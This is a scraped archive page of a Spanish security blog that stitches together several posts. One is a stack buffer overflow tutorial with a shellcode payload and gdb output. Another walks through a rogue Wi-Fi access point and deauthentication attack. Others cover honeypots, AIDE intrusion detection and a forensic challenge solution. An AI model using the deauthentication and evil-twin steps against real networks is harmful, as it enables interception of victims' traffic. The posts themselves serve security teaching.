- Números de las tarjetas de crédito
- Fecha de caducidad
- CCV
- Clave
VISITS
ARCHIVE
-
►
2020
(215)
- ► septiembre (22)
-
►
2019
(123)
- ► septiembre (21)
-
►
2018
(49)
- ► septiembre (6)
-
►
2017
(78)
- ► septiembre (10)
-
►
2016
(154)
- ► septiembre (10)
-
►
2015
(176)
- ► septiembre (28)
-
►
2014
(278)
- ► septiembre (21)
-
▼
2013
(359)
-
▼
noviembre
(30)
- El troyano #Neverquest se convierte en la nueva am...
- Pantalla Pública XXIX
- Hacking WiFi: Como evitar el filtrado MAC de un AP...
- Raspberry PI desde cero (Parte 1)
- El orgullo verde: El rincón de pensar
- Herramientas forense para ser un buen CSI. Parte X...
- Informe Flu - 151
- Explotación Software – Parte III – Escribiendo nue...
- Los Pipes! (C Boys)
- Hacking WiFi - Parte 4 - Ataques Hotspot: Obligand...
- Honeypots en la securización de redes científicas I
- AIDE: Sistema de detección de intrusos
- #FPR9 – Solución al Reto Hacking: Catástrofe aérea
- Informe Flu - 150
- Explotación de Software – Parte II – Shellcoding
- Hoy hablaremos de las llamadas al sistema que todo...
- OS: Forks (C Boys)
- Jornada Gratuita de seguridad HighSecCON II
- Hoy os hablaremos de retoshacking.es
- Metasploit y PowerShell, mis queridos amigos
- #FPR9 – Reto Hacking: Catástrofe aérea
- Informe Flu - 149
- Explotación de Software – Parte I – Introducción y...
- Bash Scripting: Backup & Yesterday Practices (Bash...
- Hacking WiFi - Parte 3 - Operando con potencias y ...
- ArpON: Protegiéndonos de ataques ARP Poisoning
- Evento en la URJC: Internet Of Things
- Herramientas forense para ser un buen CSI. Parte X...
- Informe Flu - 148
- Hacking Wi-Fi - Parte II - Conexión entre cliente ...
- ► septiembre (30)
-
▼
noviembre
(30)
-
►
2012
(371)
- ► septiembre (32)
-
►
2011
(386)
- ► septiembre (30)
El troyano #Neverquest se convierte en la nueva amenaza bancaria
Pantalla Pública XXIX
Eso es todo por hoy, seguid enviándonos pantallas a info@flu-project.comSaludos!
Hacking WiFi: Como evitar el filtrado MAC de un AP (Parte 5)
Raspberry PI desde cero (Parte 1)
- Ordenador
- Media Center
- Videojuegos
- Tablet
- Hogar inteligente
- Internet radio
- Robótica
- NAS casero
- Receptor AirTunes
- Café y Raspberry Pi
root@kali:~ dd if=kali-pi.img of=/dev/sdb bs=512k
El orgullo verde: El rincón de pensar
El rincón de pensar es el rincón dónde te mandan de niño cuando haces alguna acción maliciosa, errores de niño, errores que deben enseñarte a no realizar. Para mi Flu Project es ese rincón, un sitio dónde todos aprendemos de todos, de las cosas que otros hacen bien, de las cosas que queremos que otros analicen para ver si merecemos irnos a pensar o no. Pero hoy no presentamos un rincón, el cual es el tema del artículo, si no la sección del orgullo verde, porque al final uno tiene que estar contento con lo que hace en la vida, y por ello, me siento orgulloso de Flu Project, del bicho verde, de las críticas, de los halagos, pero sobretodo de que la gente te diga que aprenden, que les gusta que compartas el conocimiento, que el conocimiento de todos fluya, y por todas estas razones tengo que decir que el orgullo verde será el rincón dónde diremos lo que opinamos sobre los temas que nos rodean en el mundo de la informática. Hay que recordar que el mundo que nos rodea es el de la seguridad y sobre estos temas nos enfocaremos.
La seguridad es un mercado en auge, el cual es muy muy grande. En este mercado se junta gente muy técnica, a la cual matarías si la cortas las alas para volar y desarrollarse en ese mundo técnico, inaccesible para muchos. Existe gente, la cual empezó siendo técnica y ha ido mudando su hábitat hacia un mundo de gestión, los cuales son capaces de amoldarse a dicho entorno, guiados por ganas de evolucionar, de supervisar y porqué no, por ganar más pasta. Por último, existe gente enfocada directamente al mundo de la gestión, ISOs, Análisis de riesgos, metodologías, etcétera. Un mundo difuso para un técnico, un mundo lógico para el de gestión. La eterna lucha, no son ni mejor ni peor, son puntos de vista los cuales son guiados hacia el mismo punto, fortificar sistemas, encontrar fallos y que se solucionen, hacer bien su trabajo ayudando a qué la seguridad en los mundos telemáticos sea mayor.
Por otro lado tenemos una de las vías de investigación estrella en el mundo académico el cual es la economía de la seguridad. En esta línea podemos encontrar diversos trabajos que hablan sobre lo que mueve realmente la seguridad, la pasta, lo que de verdad importa, ¿Por qué es importante la seguridad? Realmente es algo, que a muchos empleados del mundo de la seguridad se les puede escapar. Al final todo tiene un porqué y la seguridad no escapa de ello.
Pero hoy me centraré en una de las características de objeto de estudio de la economía de la seguridad, y es la economía de la privacidad o Economics of Privacy. Sabemos que las nuevas tecnologías son el motor de la humanidad, y es algo que no nos pilla por sorpresa, cada vez más personas están interconectadas con el resto del mundo. La privacidad es un derecho fundamental de cada usuario, al menos en la mayoría de los países, pero este hecho de la seguridad no se establece por defecto en los sistemas de información, los cuales podrían adoptar directamente una política para contrarrestar esto o verse afectados por externalidades de red.
En los últimos años han existido tecnologías para mejorar la privacidad de los usuarios en el uso de las nuevas tecnologías, pero han ido fracasando o teniendo poca aceptación en global. La economía es el factor que ha provocado que podamos decir esto respecto al mundo de la seguridad. El nacimiento de Internet trajo consigo muchas vías explotables para que le desarrollo del ser humano, y algunas por supuesto negativas. Uno de los pilares que trajo Internet era la privacidad y el anonimato, pero esto en la práctica ha sido un fracaso, o al menos no se han logrado como se entendían. Entre otras razones, esta es una que provoca el nacimiento de proyectos y redes como TOR, cuyo objeto de deseo es el de proporcionar anonimato a los usuarios que navegan por Internet. Es sabido que estas redes no son 100% seguras, en el ámbito del anonimato, ya que existen casos en los que se ha podido encontrar datos sobre el usuario que las ha utilizado, ya sea por vulnerabilidades en el navegador utilizado por TOR, por la inclusión de nodos falsos en la red cuya misión era obtener información del usuario, entre otras posibles acciones ó incluso técnicas más complejas como ataques estadísticos como se pudo leer en el lado del mal.
El proyecto TOR es una herramienta contra la lucha de incentivos, ya que como en los casos expuestos en la economía de la seguridad, los incentivos de cada agente que interviene en esta economía son distintos. En muchos casos gobiernos, proveedores de servicios u otros usuarios maliciosos están interesados en poder apoderarse de datos privados debido a distintos fines. En este último año la privacidad de los usuarios se ha visto altamente golpeada con los casos de la NSA. La NSA ha defendido que ellos han filtrado el 4% del tráfico mundial, con todo lo que ello conlleva en datos de usuario, pero por el contrario analistas han defendido que la NSA ha podido filtrar hasta el 96% del tráfico mundial. Estos hechos se acercan al mundo del ciberespionaje, que en realidad es una variante de la privacidad de todos en Internet, llevado a un nivel más alto. Todo hace indicar que redes como TOR no han sido suficientes en el caso de la NSA.
Herramientas forense para ser un buen CSI. Parte XLI: Xbox 360 [II]
- Configuración del disco
- Cache 1
- Cache 2
- Cache 3
- Ficheros del sistema
- Contenedor de juegos y aplicaciones
- La etiqueta <TitleID> se corresponde con el ID del videojuego. Podéis encontrarlas aquí: http://360.kingla.com/
- La etiqueta <ProfileID> se corresponde con la carpeta del perfil de los usuarios.
FATXplorer
- Sitio oficial: http://fatxplorer.eaton-works.com/
- Descripción del producto:
FATXplorer is the ultimate Xbox 360 storage device explorer. Designed with speed, compatibility, and reliability in mind, FATXplorer aims to be at the forefront of your Xbox 360 tool arsenal. FATXplorer makes your exploration into the Xbox 360′s most interesting file systems more exciting than ever. With full support for every partition across a multitude of devices, you can uncover hidden system files, reformat devices for a fresh start, and even speed up your Xbox LIVE experience with optimized system folders! Ever lose valuable content you put hard work into? FATXplorer’s Recovery View allows you to see every deleted item on your device and even recover them with ease and little frustration. Want to use more than 32 GB of your USB device? FATXplorer has a formatter to extend your content storage up to 2 TB! Don’t have time to learn all the secrets in a cloned file explorer? FATXplorer is different. With Windows Integration, storage devices can be integrated into Windows with the help of a driver. With this driver, you can browse your content like you would a normal USB flash drive and utilize common features like copy, paste, open, and more! With FATXplorer’s vast feature set, there is something to please anyone who owns an Xbox 360 console and wants to have full control over their stored content.
Xplorer360
Xplorer360 es una herramienta algo menos potente que la anterior, pero gratuita, y que nos permitirá navegar igualmente por el disco duro de la videoconsola de una manera rápida y sencilla:Informe Flu - 151
Como cada semana compartimos con vosotros los “Enlaces de la semana”:
Lunes 18 de Noviembre
- El lunes comenzamos la semana con la solución de nuestro último reto hacking: #FPR9 – Solución al Reto Hacking: Catástrofe aérea . ¿Qué os ha parecido?
- El martes María José Montes nos hablaba sobre AIDE: Sistema de detección de intrusos, de nuevo repite María con el artículo más visto de la semana :)
- El miércoles se inició Juan Luis Martín Acal. en Flu Project con Honeypots en la securización de redes científicas I
- El jueves Roberto nos trajo la 4ª parte de su cadena de posts Hacking WiFi - Parte 4 - Ataques Hotspot: Obligando a la victima a conectarse a mi
- El viernes continuamos con los C Boys en Los Pipes! (C Boys)
- Ayer Adrián compartió con nosotros la 3ª parte de su cadena Explotación Software – Parte III – Escribiendo nuestro primer exploit
Explotación Software – Parte III – Escribiendo nuestro primer exploit
(gdb) run
Escriba la contraseña:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, leer_pwd () at codigo.c:7
7 }
(gdb) x/20x $esp
0xbffff47c: 0xbffff480 0×41414141 0×41414141 0×41414141
0xbffff48c: 0×41414141 0×41414141 0×41414141 0×41414141
0xbffff49c: 0×41414141 0×41414141 0×41414141 0×41414141
0xbffff4ac: 0×41414141 0×41414141 0×41414141 0×41414141
0xbffff4bc: 0×41414141 0xbffff4c8 0×08048473 0xbffff548
(gdb)
perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf"' > payload
//Pasamos el exploit al programa
(gdb) run < payload
Breakpoint 1, leer_pwd () at codigo.c:7
7 }
//Estado del buffer tras almacenar el payload
(gdb) x/20x $esp
0xbffff47c: 0xbffff480 0×90909090 0×90909090 0×90909090
0xbffff48c: 0×90909090 0xc0319090 0xc931db31 0x04b0d231
0xbffff49c: 0x206801b3 0x6820293b 0×63657368 0×69482068
0xbffff4ac: 0x6f486867 0xe189616c 0x80cd0fb2 0xdb3101b0
0xbffff4bc: 0xbffff489 0xbffff489 0xbffff489 0xbffff489
//Nuestra dirección de retorno ha pisado eip como se puede ver a continuación.
(gdb) info frame
Stack level 0, frame at 0xbffff4c8:
eip = 0×8048469 in leer_pwd (codigo.c:7); saved eip 0xbffff489
called by frame at 0xbffff491
//Al continuar la ejecución del programa nuestro shellcode se ejecuta mostrando “Hola Highsec ; )”
(gdb) c
Continuing.
Hola Highsec ; )
Los Pipes! (C Boys)
#include <stdio.h>char *ping = “PING”;
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char *pong = “PONG”;
int
main(int argc, char *argv[]){
int tuberia1[2], tuberia2[2];
int i;
int hijo;
if(pipe(tuberia1)== -1){
perror(“error”);
exit(EXIT_FAILURE);
}
if(pipe(tuberia2)== -1){
perror(“error”);
exit(EXIT_FAILURE);
}
for(i=0;i<2;i++){
hijo = fork();
if(hijo == -1){
perror(“error”);
exit(EXIT_FAILURE);
}
if(hijo == 0){
if(i==0){
hijo1(tuberia1,tuberia2);
exit(EXIT_SUCCESS);
}
if(i==1){
hijo2(tuberia1,tuberia2);
exit(EXIT_SUCCESS);
}
}
if(hijo > 0){
//padre nada!
}
}
for(i=0;i<2;i++){
wait(NULL);
}
}
int count = 0;close(pipe[0]);
//control errores
close(pipe2[1]);
//control errores
write(pipe[1],ping,strlen(ping));
count++;
while(count<10){
read(pipe2[0],buf,sizeof(buf)); //espera del pong!
printf(“%s\n”,buf); //imprimo lo que reciba
if((strcmp(buf,pong))==0){ //si recibo un pong!
write(pipe[1],ping,strlen(ping)); //escribe un ping!
count++;
}
}
}
void hijo2(int pipe[2], int pipe2[2]){
char buf[4096];
int count = 0;
close(pipe[1]);
//control errores
close(pipe2[0]);
//control errores
while(count<10){
read(pipe[0],buf,sizeof(buf));
if((strcmp(buf,ping))==0){
printf(“%s\n”,buf);
write(pipe2[1],pong,strlen(pong));
count++;
}
}
}
Hacking WiFi - Parte 4 - Ataques Hotspot: Obligando a la victima a conectarse a mi
Vamos a crear un Soft AP. Es un AP creado a partir de un software en nuestra tarjeta de red, ya sea la propia del ordenador, o la que hemos conectado por USB con capacidad de inyectar trafico (si no es capaz de inyectar la tarjeta, no seremos capaces de desautenticar a la víctima del AP legitimo). Habrá pasos que de por obvios porque ya se han tocado en partes anteriores de la serie.
Lo que haremos será desconectar a la victima de la red abierta a la que está conectada para que se conecte a la nuestra que tendrá el mismo nombre, y de esta forma no notará nada. Para hacer esto primero mandaremos paquetes de De-Autenticación al AP legítimo para que la victima se desconecte, y después crearemos un AP abierto con el mismo nombre para que el dispositivo de la víctima se conecte a nosotros.
Una vez está conectado a nosotros podemos redirigir su tráfico al AP legitimo y asi estar de MITM capturando todas sus comunicaciones, o directamente dejarlo salir a internet.
Comencemos con la parte práctica:
# airmon-ng start wlan1
# airodump-ng mon0
Y me pondré el ESSID del AP abierto. El AP lo vamos a crear con la herramienta Airbase-ng. Hay que hacerlo en la interfaz en modo monitor.
# airbase-ng -a AA:AA:AA:AA:AA:AA -e <nombre_AP_falso> mon0
Podemos ver el mensaje que dice que ha creado una interfaz at0 (que sería la equivalente a la interfaz de cable que tiene un AP, es decir, un AP tiene la interfaz Wi-Fi por donde emite y se conectan los clientes; y tiene otra interfaz de cable por donde el AP se conecta a internet). Pero esta interfaz at0 no está levnatada, si quisiésemos capturar el tráfico que pasa por aquí, es decir el de la víctima tendríamos que activarla nosotros mismos:
# ifconfig at0 up
Ahora forzaremos al cliente que está conectado AP legítimo, que se desconecte de este generando unos paquetes que se llaman de Desautenticación que sirven para desautenticar a la víctima.
# aireplay-ng --deauth 0 -a <mac_AP> mon0
¡Para esto debes de estar en el mismo canal que el AP! Entonces lo que haremos será poner nuestra interfaz wlan0 y mon0 en el mismo canal que el AP legitimo, para poder hacer el ataque de de-autenticación.
# iwconfig wlan0 channel 11
# iwconfig mon0 channel 11
Y podemos ver como nos aparece que se ha conectado alguien a nuestro Soft AP.No tenemos servidor DHCP configurado en nuestro Soft AP, entonces la víctima no puede recibir una direción IP, por lo que al cabo del tiempo se autoconfigura con una IP del tipo 169.X.Y.Z puesto que nadie le ha dado una IP. En mi caso particular la victima es el Iphone con el ultimo IOS y no aparecería el simbolito de que estamos conectados a una red Wifi puesto que no tenemos aun conexión a internet, pero si nos vamos a la configuración de la red podemos ver como efectivamente tenemos una dirección IP de ese tipo.
Lo que haremos será ponernos en nuestro ordenador una IP de este rango a la interfaz at0:
# ifconfig at0 169.254.174.226 netmask 255.255.255.0 up
Y si le hacemos un ping a la victima, veremos que nos responde =) Es decir, podríamos hacer hacerle Information Gathering, un Analisis de Vulnerabilidades, etc.
Más adelante veremos como darle conexión a internet a la víctima par estar de MITM.
Con este miso método se podrían realizar ataques a clientes que no estén conectados a ninguna red. Cuando estos pregunten por una red abierta con los paquetes probe request (con una red en especifica), tan solo tendríamos que crear esta misma red, de esta forma el dispositivo se conectaría a ti.
podemos ver como determinados dispositivos están preguntando por determinados APs, que si fuesen abiertos podriamos crearlos y ya tendríamos al dispositivo conectado a nosotros sin que la víctima se diese cuenta! Por seguridad las ultimas versiones de los sistemas operativos ya no utilizan los probes request con un AP en especifico para evitar este ataque, hacen el probe request al broadcast y son los AP los que contestan los probe responses indicando de su presencia.La primera vez que te conectas a un punto de acceso, se te añade el ESSID a tu lista de redes WiFi. Y siempre que el cliente se encuentre con este punto de acceso se conectará automáticamente a él sin preguntar nada al usuario, a no ser que lo configures para que te pregunte cada vez que hay una posibilidad de conectarte (RECOMENDADO!).
Gracias a esto se va generando una tabla de puntos de acceso y contraseñas. El cliente automáticamente mandará paquetes probe request para ver si encuentra redes Wi-Fi de su lista.
Las redes que tiene almacenadas el cliente pueden ser de 3 tipos:
- Sin autenticación - WEP - WPA/WPA2
Cada uno de ellos tendrá una forma distinta de hacer que el cliente se conecte a ti. Por ahora hemos visto el caso en el que la red sea abierta.
El problema es que el cliente no autentica que el AP es el que dice ser, es decir, que no comprueba si el AP es el legitimo o es un atacante. Entonces cualquier puede poner un AP con el nombre por el que el cliente está preguntando.
Artículo cortesía de Roberto (@leurian)
Honeypots en la securización de redes científicas I
Introducción
¿Qué es un honeypot?
Un honeypot es una trampa destinada a emular con distinto grado de interacción un servicio, máquina o infraestructura de red. Entre los muchos medios de los que dispone el especialista/investigador de seguridad informática, tienen especial relevancia como mecanismo de detección de amenazas y recopilación de material empleado en estas.
El objetivo de este artículo y los siguientes es el de divulgar mi experiencia con dichas herramientas y el análisis de la información que se recopiló durante casi tres años trabajando en su implantación en la red informática de la Universidad de Granada, y que finalmente terminó siendo mi proyecto final de carrera. Creo que podrá ser de interés al lector por dos motivos, por un lado son herramientas no tan populares como los tradicionales sistemas de detección de intrusiones (IDS/IPS), pero que tienen un enorme potencial, y por otro al tratar un escenario como es una red científica, que tiene aspectos muy distintos al de las tradicionales redes corporativas.
Ventajas aportadas por los honeypot
No es mi intención destacar la mayor o menor conveniencia de estas herramientas frente a otras, pues no tiene sentido. La seguridad es algo global en una infraestructura de red que debe ser contemplada a todos los niveles haciendo uso simultáneo de múltiples soluciones. Dicho esto cabe destacar que los honeypots tienen ciertas propiedades que han sido sumamente beneficiosas en este escenario:
- Para empezar son elementos de detección pasiva, es decir, no implican un análisis activo del tráfico que circula por la red. Esto resulto crucial, porque una de las restricciones más fuertes con la que nos encontramos en una red científica, es la de evitar el peliagudo tema de la intromisión en privacidad de las comunicaciones. El usuario no es un empleado trabajando con medios de la empresa en tareas de la misma, si no personal investigador, estudiantes, personal laboral, empresas externas con contratos en el desarrollo e implantación de algún servicio etc, que son susceptibles de verse “heridos” por intromisión en sus comunicaciones.
- Otra característica de este tipo de redes es la no seguir una distribución tradicional por zonas como se trata la teoría de seguridad perimetral. Mientras que la empresa reduce, en la medida de lo posible, a la mínima expresión su zona desmilitarizada (DMZ), en una red científica la DMZ puede llegar a alcanzar un tamaño gigantesco. Ya no solo tenemos segmentos de red privada con acceso desde y hacia el exterior, si no también segmentos completos de subredes públicas. Esto supone a priori un volumen de tráfico, que más que pese a los fabricantes de soluciones IDS por hardware, o es inmanejable o la solución no tiene un coste asumible.
¡Manos a la obra!
Material del experimento
Como parte del proyecto final de carrera monte dos honeypot, uno es el prototipo, la máquina de desarrollo de los honeypot en producción, el otro es una versión sobre Raspberry Pi para poder trabajar en casa en la línea de lo que ido haciendo de cara a mi trabajo final de master. Los podéis descargar de aquí para ponerlos como hosts DMZ si queréis echar un vistazo a que se “cuece” ahí fuera.
- instrucciones.txt 2 KB
- zetsu.zip 2.82 GB
- zetsuPi.zip 1.84 GB
En cuanto se activaron los honeypot comenzaron notificar de numerosos incidentes de distinta naturaleza, y lo más divertido, tanto de origen interno como externo, teníamos al enemigo paseando por casa y con los medios empleados hasta el momento estaba pasando bastante desapercibido. Aquí va una muestra, vinculada a solo una subred de las que compone la Universidad de Granada. Recuerdo que estos resultados son susceptibles de ser extrapolados al del resto de subredes e incluso al de otras universidades andaluzas pues están en el marco de la red R.I.C.A, la cual tiene asignado el rango de direccionamiento 150.214.x.y/16.
Estas son algunas de las conclusiones que podemos extraer:
- El mayor origen de amenazas, como cabría esperar, viene del exterior. Quiero hacer énfasis en que estos datos son en el transcurso de dos años, si viéramos los datos por intervalos de meses veríamos que al principio había menos diferencia pero conforme los honeypots fueron haciendo su trabajo el porcentaje de incidentes de origen interno quedo reducido a los niveles que se muestra.
- Dependiendo del tipo y origen de la amenaza varía su influencia sobre la red. Por un lado las principales de origen externo son la búsqueda de credenciales ssh, en cambio internamente lo que destaca son incidentes de propagación de malware. Y ojo estamos hablando cuantización de amenazas, no de cualificación, las repercusión de una amenaza cuantitativamente inferior puede ser gravísima.
- De lo anterior seguramente quien este familiarizado con seguridad ya habrá sacado algunas ideas implícitas más. El peligro interno más destacado eran los propios usuarios que conectaban con Windows sin actualizar y sin cortafuegos. El peligro externo es sin lugar a dudas la búsqueda de equipos con credenciales débiles con objetivo de robar información, zombificarlo o pivotar a los vecinos del equipo que había comprometido, ahora que queda más claro de dónde vienen los incidentes ssh internos que han ocurrido y por supuesto porque tienen tanta repercusión pese al escaso número.
En el siguiente artículo entrare más en profundidad en la descripción del origen de las amenazas, las intencionalidades más o menos evidentes que podemos encontrar detrás de ellas y qué medidas más inmediatas de contingencia.
Artículo cortesía de Juan Luis Martin Acal.
AIDE: Sistema de detección de intrusos
# pacman -S aide
aide -i
aide -u
#!/bin/bash -e# these should be the same as what's defined in /etc/aide.confdatabase=/var/lib/aide/aide.db.gzdatabase_out=/var/lib/aide/aide.db.new.gzif [ ! -f "$database" ]; then echo "$database not found" >&2 exit 1fiaide -u || truemv $database $database.backmv $database_out $database
pacman -S exim
# never_users = root
# Person who should get root's mailroot: mary
pacman -S croniesystemctl enable croniesystemctl restart cronie
chmod u+x /etc/cron.daily/aide.sh
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
sudo apt-get install aide
sudo aideinit
#FPR9 – Solución al Reto Hacking: Catástrofe aérea
Buenas a todos, la pasada semana publicamos el 9º reto de Flu Project, al que titulamos "Catástrofe Aérea". En este reto os encontrábais ante "un trozo" del disco duro de un servidor clonado mediante "dd". En ese disco duro se encontraba instalado un servidor web Apache que servía una aplicación web de la empresa JKNM Technologies y desde la que sus empleados descargaban documentos confidenciales de los aviones que fabricaba previa autenticación con un usuario y contraseña válidos. Hasta aquí ninguna novedad, pero a lo largo de este artículo descubriremos como un problema de código, una simple línea, ha sido la culpable de la muerte de varias personas. Muchos me diréis, ¡es que le echáis mucha imaginación, eso en la realidad no pasa! Por suerte, este reto es ficticio, pero os aseguro y es algo que la gente que leeis éste y otros blogs del gremio ya sabéis, los problemas de seguridad que sufren robots y autómatas en empesas de fabricación, sistemas scada en infraestructuras críticas, software de control aéreo, incluso servidores vulnerados como en el caso del presente reto, pueden costar vidas. Son largas las conversaciones que mantuve con mi buen amigo y antiguo profesor Javier Garzás, sobre la Calidad del Software que se fabrica en las Factorías de Software y de todas ellas acabábamos sacando las mismas conclusiones, programar mal software sale caro, y cuando hablamos de vidas humanas, no hay forma monetaria de valorarlo.
Tras la chapa de inicio, pongámonos manos a la obra con el reto.
Normalmente en un análisis forense os entregarán una copia física del disco duro a analizar, siempre que no os toque directamente realizarla vosotros mismos. Nosotros ya os proporcionamos directamente el clonado del disco duro, y además, os limpiamos todos los archivos que no eran de interés en el pericial, facilitando la resolución del reto.
Ahora deberíamos comprobar los hashes del disco duro para verificar que no nos han dado gato por liebre. Para ello podríamos utilizar por ejemplo las utilidades "md5sum" y "sha1sum":
Cómo ya hemos explicado en la cadena Herramientas Forense para ser un buen CSI, una vez que tenéis un disco duro clonado mediante dd podéis abrirlo con alguna utilidad como FTK Imager o Autopsy, para esta ocasión nosotros nos decantamos por este segundo, por su posibilidad de parsear y recopilar los archivos localizados en función de su tipología.
Nada mas abrir el disco duro vemos que se trata de un sistema de ficheros NTFS. Lo primero que llama la atención es que Autopsy localiza casi 300 cuentas de correo electrónico. Más adelante veremos de donde salen estas cuentas, pero ya os adelantamos que provienen de un archivo añadido para despistar:
Además de las cuentas de correo electrónico nos localiza varias imágenes y un archivo eliminado que luego analizaremos.
Un tema importante cuando analizamos un disco duro es que nos fijemos en los metadatos con las fechas de creación y modificación de los archivos. Por ejemplo, en la siguiente captura podéis ver cuando diseñamos el reto, aunque no aportaba valor para su resolución, es un dato importante a tener en cuenta en una pericial:
Si abrimos la sección imágenes de Autopsy podremos enumerar las imagenes localizadas en el disco duro, como vemos todas se encuentran en la carpeta servida por el servidor Apache hacia Internet o hacia la Intranet, luego lo descubriremos:
Bien, una vez que hemos visualizado la información en función de su formato, vamos a abrir las carpetas del disco duro en busca de posibles logs que puedan darnos más información sobre lo que pasó el día fatídico:
Como vemos existen cinco logs con información sobre los accesos, errores PHP, bbdd mysql, etc.
Por otro lado nos encontramos con la carpeta www, desde la que un Apache está sirviendo una aplicación web y en la cual se encuentra el archivo "zip" que identificamos anteriormente que había sido eliminado:
Una vez recopilada toda la información, vamos a analizarla archivo por archivo. Como vemos, existen archivos con tamaño 0, por lo que directamente los descartaremos.
Otro log existente y que tampoco nos aportará ningún valor en esta investigación será el mysql.log, ya que la aplicación web publicada no hace uso de BBDD:
Otro log que encontraréis y que tampoco nos aportará mucho valor (aunque sí algo) es el apache_error.log:
El archivo access.log ya es otro cantar, ya que en él se registran los accesos a la aplicación:
Cómo su tamaño es bastante grande, analizarlo desde Autopsy es incómodo, por lo que lo extraremos a nuestro equipo:
Nada más abrirlo veremos como el día 23 de Octubre un usuario desde la IP 134.0.11.133 realizó un ataque de tipo "fuzzing", intentando localizar páginas web que colgasen del dominio de JKNM Technologies a través de un diccionario que contenía palabras tan curiosas como "Goku", "Vegeta", etc. Esta IP (pública) era inventada y parece ser que está localizada por algún lugar céntrico de Madrid :). Además nos indica que la aplicación se estaba sirviendo a Internet)
Si alguno sois usuario de nuestra herramienta ANUBIS, os habréis dado cuenta que la muestra del log se corresponde con el diccionario que viene incluido en Anubis para integrar los ataques de fuzzing con la aplicación "wfuzz".
En la línea 58, se puede ver como finaliza dicho ataque, sin éxito (todas las peticiones GET son respondidas con un error 404 NOT FOUND):
Inmediatamente después, el mismo usuario carga varias veces la página de autenticación, por lo que podemos suponer que está intentando autenticarse en el sistema y está fallando, y la aplicación le está redireccionando automáticamente a la página de login (podremos contrastar nuestra hipótesis más adelante analizando el código fuente de la aplicación web). Es posible que el usuario esté intentando realizar algún tipo de inyección de código, pero como veremos más adelante en la aplicación, se realiza por POST, y con los medios que contaban nuestros amigos de JKNM, no era posible registrar dicha información.
En la línea 104 del log vemos como el usuario malicioso logra autenticarse, y acceder a "menuPrincipal.php":
Y más adelante, casi al final del log, vemos como el usuario descarga un archivo ZIP del servidor:
Tras analizar los logs iremos a la carpeta www. Aquí nos encontraremos, entre otros, con el archivo "planes.txt", que aunque por el nombre algo confuso por el doble significado de la palabra en inglés y español, solo contenía una colección de dibujos ascii de aviones con licencia GPL que podéis descargar gratuitamente desde Internet. En ese documento se encuentran los nombres y correos electrónicos de las personas que realizaron los diseños de los aviones, y por ello Autopsy recopilaba tantos emails del disco duro:
A continuación abriremos el código fuente de la aplicación, en busca de algún bug que pueda padecer el aplicativo y por el que el usuario malicioso ha logrado acceder al sistema. Como vemos, uno de los primeros fallos importantes que vemos es que todos los usuarios de la empresa compartían el usuario administrador, por tanto, de haber sido un empleado el ladrón de los datos, no sabriamos identificar quien es:
Pero en este caso el fallo no se encontraba en el usuario, sino en una vulnerabilidad de inyección "XPath" y que ya analizamos en un reto hacking pasado. Gracias a ello, el usuario malvado "pudo acceder" a "menuPrincipal.php" aunque no podemos descartar que conociese previamente el usuario y la contraseña, al no haber registro de las inyecciones de código:
Como vemos en la captura anterior, este PHP nos mostraba un link para descargar un "zip". Que si lo buscamos en el disco duro vemos que ha sido eliminado, por lo que es posible que más adelante alguien desde dentro de la organización haya accedido para eliminarlo, bien con intenciones de borrar rastros o bien para impedir que ese archivo sea descargado por otros usuarios ampliando las posibilidades de que vuelvan a caer en malas manos. Estas conclusiones se intentarían responder en un caso real solicitando las cámaras de acceso al CPD, logs capturados por herramientas SIEM desplegadas por la red, logs de los firewall, etc.
Desde el propio autopsy podremos ver como dentro del zip hay un fichero llamado "programa.txt". Vamos a extraer el archivo al equipo para abrirlo:
Una vez abierto, aparte de una "interesante charla entre colegas" vemos que uno de los usuarios le indica a otro de la organización que no ha podido subir los planos al servidor corporativo por algún tipo de problema, y se los ha dejado en otro servidor (algo más público):
Si descargábamos el PDF podíamos ver los planos (catalogados como "Difusión Limitada") del modelo del avión siniestrado, mostrando un punto débil en la zona en la que los supervivientes del accidente oyeron la explosión. Visto esto, imagino que a la mayoría se nos pasa por la cabeza la posibilidad de un atentado terrorista, aunque esto será investigado por los peritos encargados de analizar los restos del avión. Y seguro, que los más frikis han identificado que el problema de seguridad mostrado en el plano, es el mismo que padeció la Estrella de la Muerte en la película de Star Wars :-)
El PDF con los datos confidenciales se encontraba en un servidor independiente del que nosotros hemos investigado, por lo que en una investigación "normal" deberíamos ampliar el alcance y solicitar a quien corresponda el disco duro de dicho servidor para analizar sus logs, y comprobar si el usuario malicioso descargó realmente el PDF con los planos (aunque las hipótesis apunten a que sí) o simplemente sabía donde estaba pero no se atrevió a descargarlo.
Una vez finalizada la investigación llega la hora de realizar nuestro informe pericial y en el que básicamente copiaremos todos los datos que os acabamos de mostrar, dandole un toque más profesional y menos paródico.
Cuando realizo un informe pericial me gusta basarme en estándares internacionales o nacionales, primero, porque contienen la experiencia y buenas prácticas adquiridas durante años por expertos en el sector, y segundo, porque nos permite indicar al juez/cliente/abogado, etc. que nos basamos en un modelo y/o metodología que ha sido definida y contrastada por una entidad de confianza, como por ejempo las normas ISO o UNE. Una de esas normativas es la UNE 197001_2011_Criterios Generales para la elaboración de informes y dictámenes periciales. Otra normativa interesante es la UNE 71506:2013 y que en su ANEXO A nos muestra un interesante “Modelo de informe pericial”. Por razones de derechos de autor no os puedo facilitar dicho Anexo, pero si que puedo enumerar los apartados más importantes que vuestro informe debería contener:
- Asunto
- Evidencias/muestras recibidas
- Resolución o estudios efectuados sobre las evidencias/muestras
- Situación final de las evidencias/muestras
- Conclusiones finales
- Anexos del informe
En lo referente al fichero de cadena de custodia que os pedíamos, deberíais haber redactado algo parecido al siguiente:
Y eso es todo por hoy, como veis era un reto muy sencillo, y la dificultad radicaba en ver la línea temporal de acciones realizadas sobre el servidor y en documentar adecuadamente toda la investigación.
